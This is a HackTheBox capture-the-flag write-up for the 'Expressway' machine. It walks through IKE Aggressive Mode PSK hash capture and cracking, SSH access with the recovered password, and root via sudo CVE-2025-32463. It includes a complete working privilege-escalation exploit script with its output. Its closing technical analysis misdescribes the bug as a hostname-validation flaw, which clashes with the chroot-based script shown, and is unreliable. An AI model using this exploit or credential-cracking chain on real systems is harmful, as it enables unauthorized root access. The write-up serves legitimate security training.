Expressway: HackTheBox Writeup

1. Initial Reconnaissance

1.1 TCP Port Scan

I began with a standard TCP port scan using RustScan, which revealed only one open port:

PORT   STATE SERVICE
22/tcp open  ssh

The limited results suggested we might be missing services running on UDP ports, which is common for VPN endpoints.

1.2 UDP Port Discovery

A focused UDP scan revealed the true nature of the target:

sudo nmap -sU --top-port 100 10.10.11.87
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

Key Finding: Ports 500/UDP (ISAKMP/IKE) and 4500/UDP (NAT-T) were identified. These ports are characteristic of IPsec VPN implementations, immediately shifting our focus to VPN-related attacks.

2. VPN Enumeration with IKE-SCAN

2.1 Initial Fingerprinting

Using ike-scan provided crucial configuration details:

ike-scan -M 10.10.11.87

Results:

  • Mode: Main Mode (not Aggressive Mode)
  • Authentication: PSK (Pre-Shared Key) with XAUTH
  • Encryption: 3DES (outdated and weak)
  • Hash: SHA1
  • DH Group: modp1024
  • Vendor IDs: XAUTH and Dead Peer Detection v1.0

2.2 The Aggressive Mode Breakthrough

While Main Mode doesn’t leak crackable hashes, I tested Aggressive Mode anyway:

ike-scan -A 10.10.11.87

Critical Discovery: The target did respond to Aggressive Mode requests, revealing:

  • A crackable PSK hash
  • User identity: ike@expressway.htb

This was the vulnerability: the VPN was configured to accept both Main Mode and Aggressive Mode, with Aggressive Mode leaking authentication material.

3. Cracking the VPN Credentials

3.1 Hash Extraction

I extracted the PSK hash for offline cracking:

ike-scan -A --pskcrack 10.10.11.87 > hash.txt

3.2 Password Recovery

Using psk-crack with the rockyou wordlist:

psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt

Result: Password recovered: freakingrockstarontheroad

4. Initial Access via SSH

4.1 Testing Credentials

Attempted SSH login with the cracked password:

ssh ike@10.10.11.87
Password: freakingrockstarontheroad

Success: Gained access as user ike.

4.2 User Flag Capture

ike@expressway:~$ cat user.txt

5. Privilege Escalation Analysis

5.1 System Enumeration

Checked the system configuration:

ike@expressway:~$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux forky/sid"

5.2 Sudo Version Check

The key discovery:

ike@expressway:~$ sudo --version
Sudo version 1.9.17

Vulnerability Identified: Sudo 1.9.17 is vulnerable to CVE-2025-32463 (“Sudo Chwoot”), a local privilege escalation vulnerability.

5.3 Exploit Discovery

i search on github and found https://github.com/kh4sh3i/CVE-2025-32463/

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

then just clone this into machine and boom.

6.1 Running the Exploit

ike@expressway:~$ bash exploit.sh
woot!
root@expressway:/#

6.2 Root Flag Capture

root@expressway:/root# cat root.txt

The script exploited the Sudo vulnerability by:

  1. Creating a malicious shared library
  2. Manipulating the chroot environment
  3. Tricking Sudo into loading the library during hostname resolution

7. Technical Analysis of CVE-2025-32463

Vulnerability Mechanism

The vulnerability exists in Sudo’s hostname validation when using the -h flag:

  1. Flawed Logic: When hostname validation fails, Sudo falls back to gethostname() system call
  2. Controllable Path: The gethostname() resolution can be influenced via nsswitch.conf
  3. Library Injection: An attacker can force Sudo to load a malicious NSS module

Exploit Script Breakdown

The exploit worked by:

  1. Creating a Malicious Library: Compiled C code with constructor attribute
  2. Fake Environment: Created a chroot environment with manipulated nsswitch.conf
  3. Triggering the Bug: Used sudo -R to trigger the vulnerable code path
  4. Automatic Execution: The malicious library’s constructor ran with root privileges

9. Attack Path Summary

  1. Discovery: UDP scan → VPN services identified
  2. Enumeration: IKE-scan → Aggressive Mode enabled
  3. Exploitation: PSK hash extraction → Password cracking
  4. Initial Access: SSH with cracked credentials
  5. Privilege Escalation: Sudo vulnerability → Root access